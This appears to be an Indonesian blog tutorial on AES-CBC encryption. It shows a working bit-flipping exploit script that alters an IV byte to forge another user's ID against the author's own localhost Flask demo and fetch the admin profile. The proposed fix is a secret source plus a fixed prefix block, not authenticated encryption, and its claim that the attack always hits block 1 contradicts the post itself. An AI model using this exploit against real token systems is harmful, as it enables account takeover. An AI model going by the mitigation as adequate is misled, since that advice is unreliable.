Secure with AES Mode CBC

Last Update Article: 2025-12-28 13:02:48


Secure with AES Mode CBC

Assalamualaikum Warahmatullahi Wabarakatuh halo teman-teman, pada artikel ini saya ingin mendokumentasikan tentang text book theory tentang salah satu metode enkrispi / dekripsi yang sangat lazim digunakan di Indonesia mungkin bahkan di pasar Global dunia teknologi informasi ini, umumnya AES CBC ini digunakan untuk mengamankan data dalam konteks merahasiakan isi datanya, menjaga integritas datanya dalam penggunaannya biasanya untuk menyimpan data yang penting dan harus rahasia PII DATA (Personal Identifiable Information) / Data Pribadi lah sederhananya, namun tidak jarang juga AES CBC ini digunakan untuk session token authentication jadi untuk berpindah-pindah aplikasi dengan sharing SSO ala-ala, atau bahkan memang dibuat untuk menggantikan konsep JWT Token yang sudah ada mari kita sebut ini adalah jenis developer “ngide” yang suka membuat konsep sendiri daripada konsep yang sudah ada, di lain waktu hal ini mungkin memang bagus tapi dalam prespektif Application Security lebih banyak tidak bagusnya sih hahaha.

AES Mode CBC 101

Saya tidak akan detail membahas sejarah dari AES (Advanced Encryption Standard) namun saya akan mencoba membeda bagaimana sih secara teknis AES Mode CBC ini bekerja, sebagai premis AES ini menggunakan block cipher operation, sederhananya adalah tiap data-data yang akan dilakukan operasi enkripsi akan dibagi pada tiap-tiap block sederhananya tentang block adalah sekumpulan data yang jumlahnya sama, berikut saya coba contohkan sederhananya, saya ingin mengenkripsi sebuah data:

Nikko Enggaliano Sedang Membuat Artikel

Dalam data di atas jika kita menggunakan enkripsi AES CBC maka data di atas akan dibagi-bagi dalam bentuk block seperti berikut ini, sebelum membagi ke tiap-tiap block dalam AES CBC lazimnya yang digunakan adalah 128 bit block [128 bit / 16 Byte] sederhananya bisa 1 block itu diisi oleh 16 data (dalam konteks ASCII), berikut ini rinciannya

# blok-1
Nikko[spasi]Enggaliano
# blok-2
[spasi]Sedang[spasi]Membuat[spasi]
# blok-3
ArtikelXXXXXXXXX

Pada blok-3 terlihat banyak “XXXXXXXXX” yang mana ini adalah padding atau tambahan agar setiap blok selalu memiliki panjang 128 bit, namun harus ditekankan pada AES CBC untuk tambahan karakter sampai memenuhi panjang blok yang sesuai tidak akan menggunakan data berulang seperti XXXXXX namun nanti akan ada algoritma baru PKCS#5/PCKCS#7 nanti jika ada sesinya di artikel ini akan coba saya bahas, tapi sedikit banyak semoga teman-teman yang sudah membaca premis awal tentang block sudah tergambar, mari kita mencoba bahas detail bagaimana AES CBC bekerja.

image.png

https://upload.wikimedia.org/wikipedia/commons/e/ef/BlockCipherModesofOperation.svg

Dari gambar diagram di atas bagi teman-teman yang baru belajar tentang crypto (cryptography) termasuk saya akan sangat sulit untuk memahami maksud dan tujuannya, tapi tak apa saya akan coba menjabarkan sesederhana mungkin bagaimana diagram di atas bekerja, sebelum menuju ke arah sana mari kita menyelaraskan istilah-istilah dasar cryptography, pertama kita nanti akan mengenal istilah plaintext (pt) ini adalah data awal yang akan di-enkripsi contohnya seperti Nikko Enggaliano Sedang Membuat Artikel kedua akan mengenal yang namanya ciphertext (ct) ini adalah luaran dari hasil enkripsi dari plaintext, lalu berikutnya adalah secretKey / Key ini adalah sebuah komponen yang salah satu paling penting dalam proses enkripsi, dari namanya saja ‘secret’ dan ‘key’ seharusnya tergambar kan? haha, itulah istilah-istilah dasar dan umum dalam konteks cryptography namun dalam cakupan AES CBC akan ada istilah-istilah lainnya seperti block cipher yang di atas sudah sempat disinggung, setelahnya ada yang namanya IV (Initialization Vector), IV ini singkatnya adalah bukan data yang harus RAHASIA namun datanya harus selalu acak tiap kali akan melakukan enkripsi, ukurannya juga harus sesuai dengan ukuran blok yang ada yaitu 128 bit / 16 byte.

Okay, jika teman-teman sudah mendapatkan istilah-istilah dasar dari kriptografi dan AES CBC, mari secara teknis kita coba elaborasi bagaimana cara kerja AES CBC, kita mungkin lebih fokus ke mode CBC-nya saja dengan tidak terlalu mengelaborasi bagian AES-nya.

image.png

Pada diagram pertama di atas, ada 2 input kita diolah yaitu plaintext ^(xor) IV, jadi proses pertama dalam AES CBC ini adalah melakukan iterasi plaintext xoring dengan iterasi IV, setelah itu hasilnya akan dilakukan AES_ENC dengan key yang sudah ditentukan, hasilnya ciphertext akan digunakan untuk xoring blok selanjutnya, secara kasar sebagai contoh mungkin saya bisa ilustrasikan seperti berikut ini

palintext = "Nikko Enggaliano Sedang Membuat Artikel"
secret_key = "AAAAAAAAAAAAAAAA"
IV = "1234567890ABCDEF"

Pada contoh ilustrasi di atas “secret_key” yang saya gunakan adalah “A”*16 ini bukan hal baik tolong jangan ditiru teman-teman, ini hanya untuk kebutuhan menjelaskan agar mudah dipahami, jadi alur kerjanya akan seperti ini iterasi-plaintext xor iterasi-IV

palintext = "Nikko Enggaliano Sedang Membuat Artikel"

Dari data di atas hanya akan diambil 16 byte pertama untuk blok pertama seperti contoh di atas, namun tidak apa mari kita sekali lagi simulasikan, kali ini akan menggunakan bantuan python3 untuk mensimulasikan semuanya

palintext = b"Nikko Enggaliano Sedang Membuat Artikel"
secret_key = b"AAAAAAAAAAAAAAAA"
IV = b"1234567890ABCDEF"

block_size = 16

first_block = palintext[:block_size]
for i in range(len(first_block)):
    xoring = first_block[i] ^ IV[i]
    print(chr(first_block[i]),"xor", chr(IV[i]), "=", xoring, "->" ,chr(xoring))

image.png

Jika dijalankan akan mengeluarkan luaran seperti screenshot di atas, tiap-tiap iterasi akan dilakukan xor seperti gambar di atas dan hasilnya akan kita sebut sebagai CT_XOR, hasil CT_XOR akan dilakukan operasi AES_ENCRYPT bersama dengan secret_key dan hasil ini akan kita sebut sebagai CT_BLOCK_1, hasil dari CT_BLOCK_1 akan dilakukan xor dengan blok-2 mengganti IV dengan konsep pertama, seperti ini lah diagram yang bisa saya gambarkan untuk menyederhanakan gambarannya

Plaintext: Nikko Enggaliano | Sedang Membuat A | rtikel[padding]
           |                |                 |
           XOR dengan IV    XOR dengan C1     XOR dengan C2
           |                |                 |
           CT_XOR           CT_XOR            CT_XOR
           |                |                 |
           AES(KEY,CT_XOR)  AES(KEY,CT_XOR)   AES(KEY,CT_XOR)
           |                |                 |
Ciphertext: C1              C2                C3

Setelah mungkin tergambar bentuk dasar dari AES-CBC, sekarang mungkin saya akan mencoba mencontohkan kode-kode dasar dengan python3 dengan library pycryptodome

# AES CBC mode with pycryptodome

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import os

plaintext = b"Nikko Enggaliano Sedang Membuat Artikel"
padding = pad(plaintext, AES.block_size)
key = b"1234567890123456"
iv = b"1234567890123456"

# encrypt the plaintext
cipher = AES.new(key, AES.MODE_CBC, iv)
ciphertext = cipher.encrypt(padding)
print("Ciphertext: ", ciphertext)
print("IV: ", iv)
print("Key: ", key)

# decrypt the ciphertext
decipher = AES.new(key, AES.MODE_CBC, iv)
decrypted_text = decipher.decrypt(ciphertext)
decrypted_text = unpad(decrypted_text, AES.block_size)
print(decrypted_text)

image.png

image.png

Luarannya akan seperti gambar di atas, pada padding = pad(plaintext, AES.block_size) akan mencoba menambahkan byte-byte yang sesuai sampai panjang data yang pasti 128 bit / 16 byte agar bisa terpecah-pecah menjadi blok-blok yang sama, sebenarnya dari sini sudah bisa selesai artikelnya karena memang sudah sampai sinilah pembahasan tentang AES-CBC, mari kita berlanjut ke Attack Scenario.

Real Case

Dalam skenario dunia nyata yang pernah saya temui saya akan coba menyimulasikan bagaimana kasus yang pernah saya temui, namun pendekatannya kali ini akan saya coba dalam bentuk Whitebox atau melakukan Source Code Review, berikut backend yang sudah saya coba sesuaikan dengan python3 + flask

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import os
from flask import Flask, request, jsonify
import json
import base64

app = Flask(__name__)

SECRET_KEY = b'SecretKey10xxccz'

database_hardcode = [
    {
        'id': 1,
        'username': 'admin',
        'password': '',
        'email': '[email protected]',
        'role': 'admin'
    },
    {
        'id': 2,
        'username': 'nikko',
        'password': 'nikko',
        'email': '[email protected]',
        'role': 'user'
    },
    {
        'id': 3,
        'username': 'user1',
        'password': '',
        'email': '[email protected]',
        'role': 'user'
    },
    {
        'id': 4,
        'username': 'user2',
        'password': '',
        'email': '[email protected]',
        'role': 'user'
    },
    {
        'id': 5,
        'username': 'user3',
        'password': '',
        'email': '[email protected]',
        'role': 'user'
    }
]

def encrypt_token(data):
    iv = os.urandom(16)
    cipher = AES.new(SECRET_KEY, AES.MODE_CBC, iv)
    padded_data = pad(json.dumps(data).encode(), AES.block_size)
    ciphertext = cipher.encrypt(padded_data)
    return base64.b64encode(iv).decode() + "-" + base64.b64encode(ciphertext).decode()

def decrypt_token(token):
    try:
        iv, ciphertext = token.split("-")
        iv = base64.b64decode(iv)
        ciphertext = base64.b64decode(ciphertext)
        cipher = AES.new(SECRET_KEY, AES.MODE_CBC, iv)
        decrypted = unpad(cipher.decrypt(ciphertext), AES.block_size)
        return json.loads(decrypted.decode())
    except Exception as e:
        return None

@app.route('/', methods=['GET'])
def index():
    return jsonify({'message': 'Nikko Enggaliano from https://nikko.id'})

@app.route('/auth', methods=['POST'])
def auth():
    data = request.get_json()
    username = data.get('username')
    password = data.get('password')

    print(username, password)

    if not username or not password:
        return jsonify({'error': 'Username and password are required'}), 400

    user = next((u for u in database_hardcode if u['username'] == username and u['password'] == password), None)

    if not user:
        return jsonify({'error': 'Invalid credentials'}), 401

    token_data = {
        'user_id': user['id'],
        'role': user['role']
    }

    token = encrypt_token(token_data)

    return jsonify({'token': token})

@app.route('/profile', methods=['GET'])
def profile():
    auth_header = request.headers.get('Authorization')

    if not auth_header or not auth_header.startswith('Bearer '):
        return jsonify({'error': 'Missing or invalid Authorization header'}), 401

    token = auth_header.split(' ')[1]
    token_data = decrypt_token(token)

    if not token_data:
        return jsonify({'error': 'Invalid token'}), 401

    user_id = token_data.get('user_id')
    user = next((u for u in database_hardcode if u['id'] == user_id), None)

    if not user:
        return jsonify({'error': 'User not found'}), 404

    return jsonify({
        'id': user['id'],
        'username': user['username'],
        'email': user['email'],
        'role': user['role']
    })

if __name__ == '__main__':
    app.run(debug=True) 

Aplikasi yang saya simulasikan hanya memiliki 2 endpoint pertama POST /auth dan GET /profile sekilas secara flow tidak akan ada celah, SQL Injection? tidak mungkin (katakanlah secure), lalu melihat data orang lain lewat IDOR? tidak memungkinkan kan? karena /profile tidak menerima parameter apapun, hanya membaca dari Token, tapi semua itu hanya kebohongan semata kok! kita bisa melakukan force-idor dengan cara Bit Flipping attack!

Bit Flipping Attack

Pada skenario ini bisa dikatakan letak celahnya berada pada “pentester” bisa membaca source code dari aplikasi dan design plaintext token yang kurang baik (bukan sedang ngomong ideal seperti JWT) tapi stuktur identifier for auth yang sedikit bermasalah, mari kita beda.

  1. Known Plaintext Format

Dalam authentication proses yang ada, kita bisa mengetahui bahwa formatnya adalah seperti berikut ini jsonEncode(user_id, role), untuk hasil pastinya mari kita coba untuk melakukan decode dengan seolah-olah meminjam secret key yang ada

Pertama kita simulasikan dulu normal flow dengan melakukan valid authentication dengan username dan password “nikko” agar mendapatkan encrypted tokens

import requests as  r 

server_url = "http://127.0.0.1:5000"

def login(username, password):
    response = r.post(f"{server_url}/auth", json={"username": username, "password": password})
    return response.json()['token']

def get_profile(token):
    response = r.get(f"{server_url}/profile", headers={"Authorization": f"Bearer {token}"})
    return response.json()

if __name__ == "__main__":
    token = login("nikko", "nikko")
    print(token)
    print(get_profile(token))

image.png

Jika kita jalankan script-nya akan mendapatkan valid token seperti di bawah ini

179T/hkt4n5ut4GF7f7fAQ==-OQRzOqmJsDdq5EypjgHTnfKFE04xhFcruwKmXRObsR0=

Untuk dapat mengetahui isi asli dari plaintext kita akan meminjam source asli dari server, bisa saja sih bikin sendiri, tapi ini approach-nya adalah white box / source code review

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import base64,json

SECRET_KEY = b'SecretKey10xxccz'

def decrypt_token(token):
    try:
        iv, ciphertext = token.split("-")
        iv = base64.b64decode(iv)
        ciphertext = base64.b64decode(ciphertext)
        cipher = AES.new(SECRET_KEY, AES.MODE_CBC, iv)
        decrypted = unpad(cipher.decrypt(ciphertext), AES.block_size)
        return decrypted.decode()
        #return json.loads(decrypted.decode())
    except Exception as e:
        return None


token = "179T/hkt4n5ut4GF7f7fAQ==-OQRzOqmJsDdq5EypjgHTnfKFE04xhFcruwKmXRObsR0="
print(decrypt_token(token))
{"user_id": 2, "role": "user"}

image.png

Setelah dijalankan dari fungsi yang dipinjam dari server sudah didapatkan bahwa formatnya adalah plaintext json normal pada umumnya, dengan index “user_id” yang akan digunakan return data pada database (ala-ala).

  1. Bit Flipping

Setelah kita mengetahui format plaintext yang digunakan, kita sudah dapat mengganti salah satu nilai yang kita mau asal dengan syarat pertama, data yang akan kita “tamper” adalah data yang berada pada 16 byte pertama atau pada blok-1, apakah data pada blok selanjutnya tidak bisa? bisa! tapi akan sangat dizzy, jadi kita fokuskan pada blok-1

{"user_id": 2, "role": "user"}
  • Blok format
blok-1 -> {"user_id": 2, "
blok-2 -> role": "user"}

Oke sudah dapat tergambar kan? data yang bisa ganti sesuka hati adalah pada blok-1 {"user_id": 2, " kita bisa mengganti misal mau mengganti identifier 2 jadi 1 agar dapat data admin? bisa, tapi mari kita coba beda dulu

token = "179T/hkt4n5ut4GF7f7fAQ==-OQRzOqmJsDdq5EypjgHTnfKFE04xhFcruwKmXRObsR0="
iv, ciphertext = token.split("-")

iv = base64.b64decode(iv)
for i in range(len(iv)):
    print(i," IV -> ", iv[i], "akan xor dengan ", known_plaintext[i])

image.png

Saya akan menggunakan script dan luaran pada gambar di atas agar bisa menjelaskan pada IV output akan bertanggung jawab pada blok-1 pertama, jika di atas kita sudah dapat mengerti bahwa langkah pertama untuk melakukan AES CBC adalah melakukan XOR IV dengan blok-1, maka kita bisa force manipulasi dengan melakukan bit flipping pada index ke berapa agar merubah data yang akan di-decode, misal pada IV index ke 0 nilainya adalah 215 jika kita ganti misal menjadi 200 PASTI hasil dari decrypted AES CBC-nya tidak akan { (buka kurung format json), mari kita coba.

token = "179T/hkt4n5ut4GF7f7fAQ==-OQRzOqmJsDdq5EypjgHTnfKFE04xhFcruwKmXRObsR0="
iv, ciphertext = token.split("-")
iv = base64.b64decode(iv) 
list_iv = list(iv)
list_iv[0] = 200
iv = bytes(list_iv)
iv = base64.b64encode(iv).decode()
new_token = iv + "-" + ciphertext

print("Ini adalah token lama: ", token)
print("Ini adalah hasil decrypt token lama: ", decrypt_token(token))

print("Ini adalah token baru: ", new_token)
print("Ini adalah hasil decrypt token baru: ", decrypt_token(new_token))

image.png

Dari script di atas, saya mencoba mengganti iv index ke-0 menjadi nilai 200, dan terlihat juga pada gambar yang saya sertakan di atas, bahwa nilai setelah dilakukan decrypt tidak lagi { melainkan menjadi huruf d dari cara ini kita bisa mengontrol nilai mana saja asal itu berada pada blok-1.

Force IDOR via Bit Flipping Attack

Pada penjelasan di atas kita sudah dapat mengetahui cara untuk mengganti suatu nilai dengan merubah IV yang ada, karena target kita adalah IDOR mendapatkan data user lain, yang perlu kita rubah adalah index ke-12 karena itu adalah 2 kita usahakan agar menjadi 1 atau berapapun yang ada di database agar mendapatkan data diri milik orang lain pada kasus simulasi backend di atas.

Lalu rumus untuk melakukan kontrol pada IV yang kita tuju adalah sebagai berikut ini

index-12 = plaintext_lama[12] ^ iv[12] ^ plaintext_baru[12]
index_12 = ord("2") ^ 237 ^ ord("1")
import requests as  r
import base64

server_url = "http://127.0.0.1:5000"

def login(username, password):
    response = r.post(f"{server_url}/auth", json={"username": username, "password": password})
    return response.json()['token']

def get_profile(token):
    response = r.get(f"{server_url}/profile", headers={"Authorization": f"Bearer {token}"})
    return response.json()

if __name__ == "__main__":
    token = login("nikko", "nikko")
    iv, ciphertext = token.split("-")
    iv = base64.b64decode(iv) 
    list_iv = list(iv)
    index_12 = ord("2") ^ list_iv[12] ^ ord("1")
    list_iv[12] = index_12
    iv = bytes(list_iv)
    iv = base64.b64encode(iv).decode()
    new_token = iv + "-" + ciphertext
    print(new_token)
    print(get_profile(new_token))

image.png

Dari tangkapan layar di atas sudah terlihat kita bisa mendapatkan data milik admin dengan melakukan bit flipping pada index-12 yang mana itu akan menjadi identifier setelah dilakukan decrypt oleh server! Itulah salah satu temuan yang menarik berkaitan dengan AES CBC ini.

Prevent Bit Flipping

Secara attack scenario di atas, melakukan prevent bit flipping adalah jangan pernah source code untuk AES CBC encryption ter-leaks terutama pada format plaintext-nya, namun hal ini jika sudah terlanjur untuk diketahui bisa menggunakan prefix padding, yaitu menambahkan 16 data hardcoded data agar jika terjadi bit flipping attack bukan data utama yang terkena, misalkan akhirnya seperti ini

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
import base64,json,os 

SECRET_KEY = b'SecretKey10xxccz'
JUNK_DATA = b'Ini16DataAWAL666'

def encrypt_token(data):
    iv = os.urandom(16)
    cipher = AES.new(SECRET_KEY, AES.MODE_CBC, iv)
    # Combine JUNK_DATA with the actual data
    combined_data = JUNK_DATA + json.dumps(data).encode()
    padded_data = pad(combined_data, AES.block_size)
    ciphertext = cipher.encrypt(padded_data)
    return base64.b64encode(iv).decode() + "-" + base64.b64encode(ciphertext).decode()

def decrypt_token(token):
    try:
        iv, ciphertext = token.split("-")
        iv = base64.b64decode(iv)
        ciphertext = base64.b64decode(ciphertext)
        cipher = AES.new(SECRET_KEY, AES.MODE_CBC, iv)
        decrypted = unpad(cipher.decrypt(ciphertext), AES.block_size)

        # Verify JUNK_DATA at the beginning
        if decrypted[:16] != JUNK_DATA:
            return None

        # Remove JUNK_DATA and parse the remaining data
        actual_data = decrypted[16:]
        return json.loads(actual_data.decode())
    except Exception as e:
        return None

Karena bit flipping pasti menyerang blok-1 maka kita tambahkan signature pada blok-1 agar tidak bisa ada orang yang sengaja mau merubah-ubah itu!

Closing Statment

Terima kasih teman-teman sudah membaca artikel ini, karena saya bukan cryptography person, tulisan ini lebih ke arah ingin mendokumentasikan hal hebat yang sudah terlewati bersama teman-teman saya! Shoutout to Wrth, Isfa, Tubagus, Vicky! Mohon maaf atas kesalahan istilah yang mungkin terjadi pada artikel ini, saya sangat terbuka untuk diingatkan dan dikoreksi, let’s have chat @rainysm (telegram)


Zoomed Image ×